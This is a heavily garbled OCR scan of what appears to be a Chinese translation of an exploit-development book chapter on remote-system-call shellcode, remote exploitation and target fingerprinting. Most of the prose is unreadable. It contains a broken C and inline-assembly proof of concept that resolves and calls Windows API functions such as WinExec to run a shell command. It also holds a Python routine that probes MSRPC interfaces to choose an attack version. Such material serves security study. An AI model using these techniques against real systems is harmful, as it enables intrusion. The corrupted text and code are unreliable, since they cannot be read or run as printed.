ESRITRHEIIE
2 [t ie
3 EATARNSERE
4 ERRGE WA
5 hTERS L,
LR
6 fesadn
7 ABEERMEE, AN
REWARESHT
8 ARGV i stubh &[]
9 MREELR
10 £ R RS

BRRG AR ATAE GRS bR AL AL, IR KRR
Ko BNEAEBAAMIE BN, BRI RS B2 LEREIGHIF, B
BRAVBH Windows RIS, RILAREGRARIA SO e T4, RAVEF 20 0GR, RIU
BROKAG, 1 LK & AU £E 44 0 R T 00 A DU, BT WS AR 0 8 B
i RATH 7RG

TR, RAT LMREIZAT A RATHLE EMAE AR MRS, EREEAM
Windows_[-yWin32 APTYH) 5 i) £ HARHLES L4AAT o SRR AT BAT AT LA ROl AU FRIE
ATART LR, ARl — B AMREDHE 26 F bS AL EIBAT .

FERPCI) B T g DL RE REWACEYLEIR CE¥BAY) RPCHLHIZ FRAM. X
AR—Fhrydr, PARATIEAH R A M SRR A, B b, R
—~FEf, EI% 446 (marshalling) ©, MRFICRZE VA SEEIRERRHER, EXFHBAR
A DUAR 25 5 3 VIR R SR VR & RATIEZEAIN 9205 R — N BUC ARSI AR H /N )
RPCIi% .

STHACEA £ R AR (R ik

O H#te, WARE, RITEREIDE,

O {EMASBHBRIELNNARE, WHRE, REIEHTS T,

@© BORTEMR . P 8H — NS AR LT, XPIGHATRSM R TGRSR
—
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SERURALEE R, RS, WASRT, HESARLOWE (A RIRS $
i 6] (98 th S BB B A R B R LB, T H AR KA SR B LR 58 (Bilin
Windows GetLastError).

B RTRER A, B R R S AR T (AR EIRAL . XA RO R AR AL
MR ERR AL LD MR, UEE R RR A %R . RELSGERAS
WL EHRE, BT LFEZ A RUIE BT . XRBRPCHAK S, XEEKA
HfRIpL,

228 AGERKERYERE

REWANEAT RGOS, Adh L8, 75 TRERRROR R, XLefE
AT e R WM BA R T REREHRERA .

() TREE. #RELRREH TR, EERHEMEE (marsha) REWAN TR, fRaT
eSS

(2) SRV ARSI B AL M LRI . T RS M ERYLE
Kist, BATBALZIR, R HRIEER T AR T RER MM L.

3) FEINE. RAID LRI FN L 34

S i A AT AR R AR PRI, (PR O R B B TR s ER MO R G RIR. ik
RATE — T34 B PEARIAR PR pide o

() HBZESREMAN TR, RRRMEFHMEIMES (TLUEPerl. Python. Javail
PREXR AR ) WIRRRERLF T BB RV, BT DU R FL(L) o XA PRIANE (K £ITE
FHRTREDEH TRERROLTH, EENFRBRFR-MET, Hwdipel.

(2) TP J7 AT AR 118 (2).

© ¢ REIARIRB UMY, EHEATIRIT (F22.675).

@ HALARFLT LT BAREERE, UG AT A Eshellcode /B o

KPR R INE IR R o

(3) RN AEHIRES S OREE, RAEMAMREVES). Rifi, ROAATRBLAFE.
LR ANER, RAOTGREFS W EHERA, AFRII SRR IFTIIT R E.

RAFATIKSEG A, RGO RN RIEH . BiMbshellcode K RUWIRIMNI A%, AEHAMA
~ike WIHAEAR P =4 BLAEAT BN AL T ARG T ARE I BEARAUIT o

AT K Windows & B LB — M MUREAARE, WEAN— M REMNE . &
FURIOLIA %, A S SEE £ Windows R 0O, 2685 45 RE AL FLR (2] S0 77 T T RS AT
HFTHHR .

o, RATEE shellcodet B RN 4 MM P FIMRIT (unpackage) B8, HEHlER, RAT
AT — RGP L 8 Cheader) , AT IG5 4850 BRI 218 P R B £ R — S 3t 9 0CRR (a
WRARBZ KR, HRRAEE I T,
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RIGRBE AN SRLUFIRR— L. SRR AT R — 24710 . RALR 1R BOR R
W22-2517R
&®22:2 RGAAEE

REWX
DiiName
FunctionName
ParaneterCount
. .<some more flags>. . .
BHGIE

. .<some flags>. . .
Kb
B RBHAR “input” B “in/out” )

WYX B R 5 (N7 R AR RATTH R B VA, SR B — B HFIR . R

BUFIFTTFI M
HANDLE CreateFile(
LPCTSTR 1pFileName, /1 pointer to name of the file
DWORD Gwbesiredhccess, // access (read-write) mode
DWORD GwShareMode, 1/ share mode

LPSECURITY_ATTRIBUTES lpSecurityAttributes,
// pointer to security attributes
DWORD dwCreationDisposition, // how to create
DWORD dwFlagsAndAttributes, // file attributes
HANDLE hTemplateFile // handle to file with attributes to copy

1

BB MR AR R F S (THRASCIE Unicode) HfEET, JFR AR
DWORD. X AERAMI B TGI8 — PR, RATLAXAH R (RED) 5318 GRIEAIEKE
). BB MRERK MR SRR RIS IR E RIS PR, WBRAR BB, 1
S RS BN BT 9 1 BRI SRE T T AR i X REORAT VR R Z 0, FRAR B
S B Bk T A R R AL

JRRE AT AR B R A BRI Fp MBS0 K, ISR TR T LIRS
i#, BAfE#1psecurityattributesB ¥ .

Bl N1k, BB Z SMEMR T perARid MBEE KA, BL ALl HCreaterile [« MM,
RO AT AR R, BRATATAEBE R SR AL IR EARAT . BRVFI 49 — M BRI B M,
E VRN P AR B 3488 o

CreateFileffJi& [FIfLFSRHANDLE (—AMBEMF SRR, XFRE R HRERTETH AL
B . EIX B4, RAVEFTH R BB RIS, (U EME RS,
IXREBRATER T B0 A IR MREG 2 SN REIE B T 3LA (K 43R

U EIIRN QAR T AR XA 8
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0 1s_IN: EAMBEMNMAEL EEL
0 15 0UT: XANZHARAF I ER HOR [F1H) Bedie .
AR RIER TR Bk AR, BERMA R0, bt TR
Hifj1pcbpataB ¥ .
LONG RegQueryValueEx (
HKEY hXey, /7 handle to key to query
LPTSTR lpValueName, // address of name of value to query
LPDWORD 1pReserved, // reserved

LPDWORD 1pType, // address of buffer for value type
LPBYTE lpData, // address of data buffer
LPDWORD 1lpcbbata // address of data buffer size

Vi

R TF M WindowsiE B S B 4k M4 K Win32 AP S, {E4IA L, 1pcbpate®
H# 1) — A DWORD, X AMDWORDEL T ML M HI AT M B Gk X IO KA, et £, BES
BTGt X R AR

Btk BATXHABBR AL hfil T todead 2.

BOOL ReadFile(

HANDLE hFile, // handle of file to read

LPVOID lpBuffer, // pointer to buffer that receives data
DWORD nNumberOfBytesToRead, // number of bytes to read

LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read
LPOVERLAPPED lpOverlapped // pointer to structure for data

)i
RATESRE —MERCK/ MR G, S SRR AT R

XL R, S fiReadrilelt, RAMESHEIMAE &, WA LILELLMLER
RN GE P DX 19 1000B—— B AT — K/ H 1000B M 15_ouTZ#——RATHH R %SBK
10008, Tfi A4 K i%1005B.

T F B AN RIS U FH ) B B 4 SRR BN RO X IR 14 18 B4 S
GEppX (RREE, AATRELAT W, B, BOBRAA MR T TIX R R

MyStruct *GetMyStructure();

BEZ), BATE LU I R S (9 4 R 1s_PTRA 1S_our R [ K /N K sizeof ( struct
MyStruct) ) RALFLXA M, AR AEGER myscruct KR, L RITEAXN L
adudik, BIMEAREAE free O o

AR (9] (9 [P HR FRAE Ty DR [ — MR e KR R IR (] % WA, SXRE, RATHE
SUAL K W B B R B IS 4B, T AR e AN W it o

XAMFEPIPFEACTE T RIBOMGBL, LA N BN R 8 T (1 o

char *asctime( const struct tm *timeptr );

asctime () o BURIFIIEZ FAFE LM P, ERRAKIER24B. LR NS 75
LA T R X A — MR /MR, AT LU IR IR (R 9 O AT AS AR
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Y TR, BAIM— eSS LU MRTIs_sz GXMHRR— MR FRHL LB N
DXHRER) LRSI ZE T R E RIS T _szz. GXANEER 218 M A Z 7R IE Mg X
Hya%F, BIAMUnicode R H ).

i AR T XA FF A HEshellcode -

(1) BEEERBMDLLA K.

(2) BEIRBATR.

3) RS H .

@) [EBMNAB A H B HR BN EIE R

() 2T GAMLES).

(6) BEZH:

@ B2BHhid (per, in, out, sz, szz);

@ HEIBHAAN

@ (if in or inout) BEESHYIE:

@ if not ptr, EABE;

® if ptr, EAMREBRE KR

© WRBHOHH, WRAEENBY, GEAHNER.

(7) VAR R -

(8) &M out  ##fE .

BUAEAE] T — Yl fshellcodefREE, & JLFAT AL FE B Win32 APL iZALHIHI a7
SMREFHIAETE T IR IFIBAE, HB N in/outfES AN . J5H B2 RRITLAHia1 K7
W CRER EARRIEMA, FAIRT AR 24080 ERH0, A8 — D RATARA MR

T 9 F9 5 R T B AR R ) shellcode () {8 3 4 o 47 8 f) 78 43 & AsmDemarshall-
Andcall. FEIH AL BOZLHBARIIH T ——@F|LoadLibrary MiGetProcaddressk]
Sk, SBebx B I EMEAR VI I dhAL

// rsc.c

// Simple windows remote system call mechanism

#include <windows.h>
#include <stdio.h>

#include <stdlib.h>
#include <string.h>

int Marshall( unsigned char flags, unsigned size, unsigned char *data,
unsigned char *out, unsigned out_len )

out[0] = flags;
*((unsigned *) (&(out(1]))) = size;
memcpy ( &(out[5]), data, size );
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return size + 5;
}
PILLIIIIILEII170071170071117
// Parameter Flags /////////
IILIIIILIII11000110100101177

// this thing is a pointer to a thing, rather than the thing itself
#define IS_PTR 0x01

/! everything is either in, out or in | out
#define IS_IN 0x02
#define IS_OUT 0x04

// null terminated data
#define IS_SZ 0x08

// null short terminated data (e.g. unicode string)
#define IS_szz 0x10

TIIEIILIILIIIIIII 11111111111
// Function Flags ///////1//
TIIIELILLILLI LI 11111711

// function is __cdecl (default is _ stdcall)

#define FN_CDECL 0x01

int AsmDemarshallandCall( unsigned char *buff, void *loadlib, void *getproc )
{

// params:

// ebp: dllname

11 +4 : fnname

/1 +8 : num_params

17 +12 : out_param_size
/1 416 : function_flags
/1 +20 : params_so_far
/1 424 : loadlibrary
11 +28 : getprocaddress
/7 +32 : address of out data buffer
asm

// set up params - this is a little complicated
// due to the fact we're calling a function with inline asm

push ebp
sub esp, 0x100
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mov ebp, esp

mov ebx, dword ptr(ebp+0x158]; // buff

mov dword ptr [ebp + 121,

0;

mov eax, dword ptr [ebp+0x15c]://loadlib

mov dword ptrlebp + 241,

eax;

mov eax, dword ptr [ebp+0x160];//getproc

mov dword ptrlebp + 28],

mov dword ptr [ebp], ebx;

sub esp, 0x800;

eax;
/1 ebx = dllname

// give ourselves some data space

mov dword ptrlebp + 32], esp;

jmp start;

// increment ebx until it

skip_string:

done_string

start:

mov al, byte ptr [ebx];
cmp al, 0;

jz done_string;

inc ebx;

jmp skip_string;

inc ebx;
ret;

/1 so skip the dll name
call skip_string;

// store function name
mov dword ptr( ebp + 4 ],

// skip the function name
call skip_string;

// store parameter count
mov ecx, dword ptr [ebx]
mov edx, ecx

mov dword ptr[ ebp + 8 1,

// store out param size
add ebx,4

mov ecx, dword ptr [ebx]
mov dword ptr{ ebp + 12 ],

// store function flags
add ebx, 4

points to a '0' byte

ebx

ecx

ecx
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mov ecx, dword ptr [ebx]
mov dword ptr( ebp + 16 ], ecx

add ebx, 4
/7 in this loop, edx holds the num parameters we have left to do.

next_paran:
cmp edx, 0
je call_proc

mov cl, byte ptrl ebx 1; /1 ¢l = flags
inc ebx;

mov eax, dword ptr( ebx 1; // eax = size
add ebx, 4;

mov ch,cl;
and cl, 1; // is it a pointer?
jz not_ptr;

mov cl,ch;

// is it an 'in' or 'inout' pointer?
and cl, 2;
jnz is_in;

// so it's an 'out'

// get current data pointer
mov ecx, dword ptr | ebp + 32 ]
push ecx

// set our data pointer to end of data buffer
add dword ptr [ ebp + 32 ], eax
add ebx, eax
dec edx
jmp next_param

push ebx

// arg is 'in' or 'inout'

// this implies that the data is contained in the received packet
add ebx, eax
dec edx
jmp next._param

not_ptr:
mov eax, dword ptr( ebx )i
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call_proc:

retur

int main(

{
unsigs
unsigr
DWORD
DWORD
DWORD
HANDL
void
char

psz

push eax;

add ebx, 4

dec edx

jmp next_param;

/1 args are now set up. let's call...
mov eax, dword ptr[ ebp ];

push eax;

mov eax, dword ptrl ebp + 24 I;

call eax;

mov ebx, eax;

mov eax, dword ptr[ ebp + 4 J;

push eax;

push ebx;

mov eax, dword ptr[ ebp + 28 );

call eax; // this is getprocaddress
call eax; // this is our function call

// now we tidy up
add esp, 0x800;
add esp, 0x100;
pop ebp

n 1;

int arge, char *argv(] )

ned char buff[ 256 ];

med char *psz;

freq = 1234;

dur = 1234;

show = 0;

E hk32;

*loadlib, *getproc;

*emd = "emd /c dir > c:\\foo.txt';

buff;

strepy( psz, "kernel32.dll’ );

psz +

= strlen( psz ) + 1;

strepy( psz, "WinExec" );
psz += strlen( psz ) + 1;

*((unsigned *) (psz)) = 2; // parameter count
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psz += 4;

*((unsigned *) (psz)) = strlen( cmd ) + 1; // parameter size
psz 4= 4;

// set fn_flags
*((unsigned *) (psz)) =
psz += 4;

°

psz += Marshall( IS_IN, sizeof( DWORD ), (unsigned char *)&show,
psz, sizeof( buff ) );

psz += Marshall( IS_PTR | IS_IN, strlen( cmd ) + 1, (unsigned char
*)emd, psz, sizeof( buff ) );

hk32 = LoadLibrary( *kernel32.dll" );
loadlib = GetProcAddress( hk32, *LoadLibraryA® );
getproc = ( nk32, )i

AsmDemarshallAndCall( buff, loadlib, getproc );
return 0;
}
R, IXAITFHAT T %4 (demarshalling) 1£45, HMwinExec/ECAMRERAT
A BIRIXAERRHAE, BABRI R, EIXAMTFTLNET, BE0R T RRAMT
o AP ORISR T 1288, MMERIN T ML e LA T RIS BT, XM
HEFRB, 710 F500B.

229 N

FFNRT EREB L shellcodefil —MEATITANT . RATEA QUL .1 2 3% Bshellcode
(IDSEERIMRINE), TURARER RN IZ M GHIET B RETREAT A . AREER
NATREWAREIBRE, HAERR, & RshellcodewT HEH 2 ARG A RERII.
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S LRI
I

Abug#i —BHESIN . bug\PERIEAT. REMRIBALES, THEMKARE

KRR X RERYE, G oug#BRAEBARNFHLL, AR AL TIL AR
HBEFE . AEARTT ARSI % BUBAT HIBE LR — I3, ATLAATE T N EL KN LB AT IR 5
Sh—[ElH . AT T ARG T 7E SRR b AT A AR RS

231 FTAEMEE

AN EZ GRS, AT RETE AT SRIZAT I A E AR R . 2, RAEBSABAE
WITAEMRETRARER, FREALEATT, EREIEEITE, “HMSRREERET .

2311 BMAEF

AT (17 IHE MRealServert ki) WM ATSEHUBERENR. T 5340 — 260 (fn
atLoginft " YRR WA TT WM . IRTTT, ARAERDT-2 00T LTI IR B
WRE LTI . 5550, BRI 2 ST FHR M — 7k, LA PO R fg
SCERBEA MR, FUILARRNZR =5 850 AR T AT, EXAMR T, GEh%
HL100%FT AT AF (IBEAR, {E4E TURKRY 7T B SUA SO% MRS T BA TAE . b T3 2 JUSEFF 8 F
HYRTARYE, A A — VAR Sk K

MY WG B RARRTDHT , XA GARARTS T L AEAEARAOBLES b T . AR T AL
SOURAEBARARES L ) R BOR RS T, Hotn BRI i SRgeteiptit. MIRMERS M
REFBORAF AR AL, 4% BT V0T 52 ) BB B XML RAR T REROA T S 70
B, TR RERIIE R 2. RATICEHHILH 4% B & 5M Cone-factor exploit).

FRURE, IRAYBEARACES HL AT A — A7, ZEAR A — MR F AR R IReE . BRI
FPATRBINA A . b T ARG, KT REM BT (B RFHB i—H40)
BRI KA P TR ALE . XA S BOUBARRN T UMY BE R, 4 T Bshbmm B 47 2%

DT WXL FE
V255 IR ARAC T R . DX FE A KR DR BT o )2, 2 (0 0 A B 300 6 2 40 ) 3
R TR ENAER L. (ER BB HERE I G SRR O R ), R

AT A BT RIGREFRE W I ik
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2312 A

R FARESLE R LU TE ST, TG — AN A, AL AT it HI A BbL28 L3
JEMA T -4 FR G - B BT 1 Windows 2000 Advanced Server, 1A% AR SEH % B 193 & HL AL
€ IEZEIE 1T ColdFusion, § 8O % ¥ P 7738 B3 4F ;5 VF & I3 9 £ Simplified Chinese
Windows 2000; ‘B TATREZESPAIAERY 4T THIA 1AM T, — 3 T TR R Fah e, BEarhe
AR T RS T TRERKT AR M EAIpha b fLinux, RER—NBLHBBRRLE. Fraixs
B RE AT AL IRMIBAE . 26— MITF, % AFFMIMicrosoft RPC Locator Bif#1E £ AT R
% EARBEIER THE, A IM7EXcon b FEE RZE L th 2RI, B WindowsiE Xeonkh FE 28 24k WAL 2
BARY. FTAX L AR T R o

Fsh, MBATHERABARAREN, FERR R R R A A IS . B4, L
HIA KA R, T3S B R Kb RR A (9 R it . G A8 Linux iy libe S A #5R Bk
HEARF, BRI LR 342 RAT IR Linux. REME, RIETRABALinux RIFI S
TRES RN H, Bk, HELinux b 13X 2 (R4 % SRR AL 7E Windows R % # ML UNIX
RELWAKS .

Wk, WEUNIX WTER—RAS FRETEMAEMRA. L, BWENERE, 4K
HSolaris 8 CDFIHAb A lfSolaris 8 CDTTHERRA—HE. HRAARA AT fiE 44T T TIHAA B3
A, A AT T TOARIA o
23.1.3 shellcode 8]

R 2 A S HOR W 0 4 5 R F & S Hshellcode , T A £ A T g4 B 42 A
P ¢ ity.org/) FBUR st T, AR 2N
, m%—*ﬁﬁ)tﬁiﬁ%ﬁﬁ’%ﬂﬁ ARSI HIEAT R . X0k AT shellcode s £ AT i3t
RN

TEER R, AR FPRRGTE R — ML L, AT, R E, FRE0 B AR RZE T AEZERLER
Fi— A, TOZEARLEffy % 5L ) F P IE4% ) 0 BEAF 0 M 4 o SXRERRATAB AT T I R4 FOMTU
BAS512, BIICMP. MLinuxBh K3 _EIEISH 114 K B Windows RZE, sRELER K% bt 3ot
ik, %%,

BAHE shellcodett X il 43 AR UL F JLA .

1. AR

MYRIEAT 4, MTU (Maxi ission Unit) ki ihiEFF el LR 8, FRI
dTHIFEANPTT A2 AN R U IPER P 4433 1[0 Ccall back) #R. 7EB) K3 b3 gAML R 1R
W RV, ASRB R AR, shellcode RAEEIMAR, RE%T (KaMo) HLEHBMAT. FrT
HEAR{¥ FHUDPERICMP| i shellcode s

2. INBRHAKHY

TEWindows #, IEFEIZAT HRILRFE o] RE BT IN#ws2_32. GLIMIACBR o 5 L IKIAR BR M S BF
HRBER)., fiBws2_32.d11 G4 B INRK I FRevertTosel £ () (AR, 7EHLLTA M Linux
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- (SELinux®%), AR it S REBI A AR

ENHEET, THRAAR RIS FERRITIFRYT R Q. fEXRNEET, R
BHRERFHEIERATI (B, h T AVHRE Cl— P80, ik BFRERER MINE, B
EEERMSCHE, BMA, S%), RE AR Kshellcodedk—E T ik, (EEERAIMBERM
L A T

3. BERXN

HIRIOSIRAI T it P BURIEH R (Mshellcode SR [l ik I B B AR A B AR MR FER & H
FRRY A Alpha Linuxi& £ SPARC Linux, B MMIERFEEHRA—T.

WERAR i) B AR REMAT T chrooted B #, AR A /bin/sh. XS5 AR FFRHE
exeve (/bin/sh) shellcodeffj4F 32 i1

HIE, Bk SRR A R TR BT, AR, AR MRS AR AL 5
& LEAER. B, BRI HFRRERCT MAphais fr, TOARRIEF ST LRI R B
RAR—ANMHEKIELEAFNISCINLE, TUXLAE £ B B BRIH .

4. EHDSHXH

chroot. LIDS. SELinux. BSD jail)« i illi LIEZ 0L 2 200

TS R fishellcode™ 45l IXEHAR H A MAT, P mm:xlwa;ﬁmrmn% ZRmE S
R LRI shellcode, ME— Y7k R BN IHAAT MO WIR

Okena 5EnterceptffI SiBL 7 VA REME (hook) RAAM, AT RATEIF ¥ HHML RS
WA MERAR N BETY Cprofiling). HWCKMMEIY (MBI oAt DTN LR I IE HAT 0 9 Bk
LTS E — 2L, BERARMREHAENAS . R — R, BB
FERL AR EL#E Mshellcode LS B ML T .

5. iHEXM

FEHE I, RGN T AERN AT AW AIMORR, TR W AL free O BR
malloc (), MAMATRIUMERBIAIE, THEAL LRI, SN LETRIEARRIRHR
BRERMEHR. FAIREAENT TIRIOLHE, EaTiah THRIERTN KA. TRAE A
shellcode 3Ly 7 T B AR R I BIAMUBLEA ).

PRI T B AR — R AR M — A ROR B, 346 2 i TR QAT HEAT 2T (3R
FE.
232 XK

1R % PIFAAT e 2R BARATS =, e THARERGARMETAE, R, t
FRE F5 AT LA B PR AR POX L ) B LA, RIEFES MBEARARTIASK A RILAE4E . BRI
AAAE R B IAR KA B bug. BRI, G VT 80 (X0 RO /S A2 1 B 8 P P TR0 A R S
()0 RN — P MVRIERR, 200 20 R4R AR R SR MBI IR R 7 320 M RASE R, AR — A
“John McDonald 2 BEAM? 7 FHIXBX & [ PhrackE 608 (20024£123), I RiEA
447 John McDonald B8N, TR RRERIH- 2 BRET, HERAEALAIE.
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Phrack: LM T ¥ 5 tobug, HACMBE THAMRA, %o —it 55 i5RHA
A7 0P AT AT th T A 2 BB IR B I B AR A AR B — AR
Hazik?

John McDonald: FiHA B @ 69445, RFRBAGHMLAET, KRTAFF|—%
By, CNAERRGRRIREATE. KL BA B A REA RAGAS, 12
A, RIRAFA LTI —HRARIENRL. T 7k, RRFHRGFE
B Gedl, RATRM —EH RESARA, REREKRET R 0ARSHACHNS
ABAMH RS HPEARRF . P ERETRA B,

RERMARA SR GGET#, BFG L, TR—LRAGELRFRA LSS
FIGATH . BAGA BIMGERE, SR BYAT A B AL PR, A ehidae
P, RMRLLKE—TF, SM—EAAY LA, o@HELHt, FENLEEM,

Bl B R, KK E R RA WAL T ARG F .

SPRSER, (TR, e OH, FiHalvar U SEARLE: DA ProfF4l
- ROFER A R 77 DR R R (AN BRSSP KA SR e . 248 e PR
FETIH BN, R T L A SRVFRRER IR E AT SRR

BR T HRMBHIE B 4b, % 3 & L BRI t A4 H o B Windows I HARZEUNIX
ERTCAR LIS, RZIMR. BMEVRAS LIS, ATt e R R o s AR G A B ) SR

2321 f&

IZIMERAT . BESE b, BRATATLAMES — RS, AR/SHOSHIEZHRAL. SPAITTAIMAN T 4
IR, EGAMIK LR FRG . BRI X 5 L AT AZERTH (R % L T
o $3, ATHE MR, FVMWareB i LLT, RAFVMWare 50llyDbg RAEREEALL, #
IR — R/NEEHE . ARIEAR Y AR R YRR LT ] eS8 X 5| HI it 2 e, FBh T RATIR
DB SIRERR IR o

2322 BRAOMM

HRHE, AR BB AES BT I TR S 26T RERMEAR BT o R — N EK e
ffireturn to ebxiil 931K, WFATBHEMIRATUT . REEH, ROBMNZRBEA
RANFR, A, CHHLEK.

T, A LB TG A R A R, BRI B H R, MREERIBM, BE
RRE TR K bt BTSSR, SUERGEE SR, M LiEsmn T
FRREGRE, B, WRRETES R T, BAERTREFERRY.

RIEE K Hshellcode B X 47 ik th £ (UK IE Bty P AR B T . MBHWRE, RIRAS
BEARBF KA. TR B RS — ML HHE B S 2T R T .

P R AR AR ALS) . AR T Mishellcode M 77, SEEMAMEICEMMAE
Jt#%. Hin, YECANVASHIIS ColdFusionfBE ARG H, RATMZHE LHR1 000 &R, 1
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EBRIE20 000 shellcodeF 1 HINOP. iX/Nid #2 Fshellcode I BIA LK N 7. BIS, BRAT
TN ERET, RO ERNERRTT . BAE RIS Mshellcode AR, HEIL
FRRAERER, PR AETRRS A SRR IR 9 77 2 1] B 45 B shellcode B T

LHERPER (WUS) M, RESGUEBROAIFEZE. PEXMERIREAE, A
FitR L RSB R B B R R AAIER, TR R N BERREE
AR RE RN R BRALT A—ALR . mRREE NP RE EREAEAIRAEFRIASER
XA B ERAE, LR RAERE —EE AT .

2323 Fi#mg

ARAT B A MR RE A  SARIE 5 DB BB ASNY, ARJLF T L A — AR
WE——AFZME . 54 (signaling). fHAZEREE L. HATHRMMLE. FEARAEMBRS 4L
1 B ORI, RN RA B RAARER TH, Bb—e_ XS,

Bt 45— ¥ Linux/UNIX A H 28 b X 08 AR R, Fllexeve () B URAD B ARI#EREE 2
RIS, BUAL, VRTTDAMERS S AR fshellcodeZE A7 R IORLTE, ARTELEN, HRataemsS
Hfreturn-into-libe I i A FE MM ACTT . MBMATIH, REHFWEHstrepy (), fBshellcode
SHBMER, WEEBERITE. ERMRNIE, R U dlopen () fldlsym() E#strepy ()
fodtdk . XA TG AT LA ORI B AR 7E SRR ER B T84T o

A A5 5 1AR (X4 34 Sinan Eren (i)™ 4 ASIH9HERR Rnoir) BTN, ZEMHTEES, 4R
AT AT A A A BUAE (T A E sk, RO B AL B IR I A Shellcode FF AR RS BRAL B, BIE
WAL — TR FRF . RANED, MRS AN ERARESE, 0x000000007 AER 5
FHH BOREIHAE . )

23.2.4 OS/FRARFRS

HTFZFEE, NmapsXprobeiX 2 T RIBHEAIRERRAKM — 2. MBMBEFRS, 1R
AMRTE I A ARSI REME B RN 7 T X 2 2.

Q fhFR4iH) (x86 / SPARC / JLhliik R 4iH)

o BFHRES

0 BFmRE

0 OSF# (non-execk / PaX / DEP%)

EREWMR T, RHNOSHKMAIARK, FARA L T —ERORBEE. BiFRENRK
BPRE EINIDS, RBURIEMEMOSIGIL. Bk, X THRE THRMOBATT, RBTIEER
o, TEEAIEN QBRI P IRBOEFE EHLIRL

01 SR e SR A B AR 1 R SOR, RORM RN 4T . T4 T R CANVAS i)
MSRPCEHEMATAA M. SB35 (HARRS), RATVRAELBTHINOSHTER. 1k,
HEXPHIWindows 2003 5NT 4.0f1Windows 2000X 4} FF . #A/5#:Windows 2003 5XPR 4+7F GXE
WA BRI SMEA BB . G Windows 200045NT 4.0 4 FF . BEARHALAIN D135 (TCP)
LATFREED, BB RY EAERTRER RS LM IR0 . RIAXANER, RN




462 $23F HEEIEFETEFHRD

HORARARED SR LAE R IKE S, MBBUE ERN AR TG .

def runTest (self):

UUID2K3="1d55b526-c137-46c5-ab79-63852a682869 "
callig=1

error, s=msrpebind (UUID2K3, 1,0, self. host, self.port,callid)
if error:

errstr="Could not bind to the msrpc service for 2K3,XP - assuming
NT 4 or Win2k®

self.log(errstr)
else:

i self.testFor2003():

#simple test not shown here.
self.setversion(15)

self.log(*Test indicated connection succeeded to msrpc service.®)
self.log("Attacking using version %d:

#s"% (self .version,self.versions[self.version] [0]))
return 1

self.setVersion(1) #default to Win2K or XP
UUID2K=

#only provided by 2K and above
callid=

error, s=msrpcbind (UUID2K, 0, 0, self .host, self.port,callid)
if erro

errstr="Could not bind to the msrpc service for 2K and above -
assuming NT 4°
self.log(errstr)
self.setVersion(14) #NT4
else:
self.log("Test indicated connection succeeded to msrpc service.®)
self.log("Attacking using version %d:
%57% (self.version, self.versions [self.version] (0]))
return 1 #windows 2000 or XP

callid=0
#1IRemoteDispatch UUID
UUID= 7d1c-11c£-86 70

error, s=msrpcbind (UUID, 0, 0, self.host, self.poxt, callid)
#error is reversed, sorry.
if error==0:

errstr="Could not bind to the msrpc service necessary to run the attack"
self.log(errstr)

return 0
#we assume it's vulnerable if we can bind to it
self.log("Test indicated connection succeeded to msrpc service
self.log("Attacking using version ¥d:

#s"%(self.version, self.versions(self.version] (0]))

return 1
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2325 fERtER v
teidd, HARMRE M “SHEAHE” (fire-and-forget) “MF#. AR, RBENBBRTG
e FLRRAE H AR L SRR BRI ATt o A 207k al UAIRAY HARERER R B GR% R 19
FEKIAFERAD, WFHR.
O ERUHRNT BARRQRIEEE. Fin, MSRPCHEERESHE A —LEB NN HRAL
(marshalled) (R34, FRPTCMRIEX SR4H BRI B AR M P AF 0.
Q TEHERE IR IELZ BRI &5 AR IKBAR 3 T LU X AL A A7 (AR
Q fEfrontlink ()RR HURIEIGT, UM Himalloc SASRINMEL BRI B,
SR E T, AT KB malloctt B BHREE W TER RO E
O G KBETF BOl i 2% 28R FIA R A 745 k. (BIND TSIG #ih.)
O R FHtH Cunderflow) BRI Koai AR %5 8515 FIH4r W 4744 k. PhenoelitfFX7E At
IjCisco HTTPDRAF RGP T4l i T3X A Flechoti ik IXRILHABARAL &K
A AN TS AR S
KT T BRI RE R (TR R, #EA 2 (timing) {7 BRMA AN . ER LA @R Kreset
BRI )G R K K resetts ?
Halvar Flake % $iiit: “EF MM B AR &R FHR— MR £ Bl o LUER R M9 HHR K BAR
BNTTRE. TR R, HEEPaX (AT HBMBANFRIANT) BB mngT.

23.3

FBBARIELE e B Win32 Webfi 55 2840 ST, {08 -BR)F, XD BRI
FRARAD U RBAR AT 3 AR LN B FIARAER) B R WAL SR, HIERMAEE
[ AR . cext B ffipop pop return. MW, B EAR#LRBERN, HMLRAE
IREHE X A shellcode, MITTF B AT KN, BB, YRR/ AF B SRR, (RGN
AR, 4 AR — L FEAL IR, (RAFHNEFIREH R AR B RAEFEAM AR
B T R A KA, AHEIE EPIDE N

I GARAS B BB MO BA, HRRY 24 AR 08— 2 R R BARRRR B i, IR R
AT EAE NIRRT & L2RARA Tk, AR RBURE MM RIT . MBARRR, WA E
TR KRR, SRAEN TR FBOR R M TR BRRA WG, (4 TR
RERBEVRMEAR, B EBRERT . BAaW, RERSF. EXFRFRE, ReHiHLEY
A RERBIRS, BOVERBRHER, HEBTHRE %, R4 LmELER.

RATAIRARIE, IRFFRAAAIN . NS, BT, BRI, HRAR
T R R B BARTE SRR IR b oA AR BE T A

@ Fire-and-forget R T F AR, HACEMILRD (2 G BN 22 RIS BITRTHE, &
AT ARATES . —FHE



$goam
W EE E R

él SRR AR S5 25 R Web /IR 5 B LRI, S bR 3t R B WebiR 55 28 LB IR 95 38
ZEM/E . EARRIYREDOEE, TR E A WebfRdr 38— REETHMN L, %k
IR 5 3 N R R AAE PO PR B KRS T AR A0, P BRI Web 5 B0 %4,
HAMEHIE R LRI b EREAEZIE, BRAOBEREEATIMHAA: FRETER
(DBA) RiZa tE e D— 8, BTN EOBERF AN =38 £ R 4RAES
BRI, A SR S A R R R S A

SO, BAWAN R IR I A E g . EERRE XA TR, RIVKEHE
FIRDBMSHUE 8¢ R T E A DLBATEIRK, I AT MR AR NxS 4 2
BAWARERY, ERANEARAFERAT BT, Ft, PEFRLERRT, ERigdidi
SR IR I T ik, SO T#R TR, DBAZ G YT AT MBI .

AR PR 55 8 AL 0 7 RAFEBAE, AR A %EE, FASQL (Structured
Query Language, SHALPIHIE) B, HH. MBRYEE. B TREARENTIMES,, &ABHE
TR T — BT RE, By RARMEMISQL (BHKSQL Server k- ff Transact-SQLER
T-SQL, Oracle L fProcedural Language / SQLEXPL/SQL) H¥(. ¥ RAFMILFEE. HE2, HIFHE
BRSBTS BRI . DR AERRR I, LHAMTIRERE, KiRa%

1M -

el O R 55 2 A I AT IR T P4 SR BN R R &N%EEEQEE{&QQ’JHE TERA
SR ELTESQL. AT, RAIKY fISQL Server. O DB2
241 WNERBE

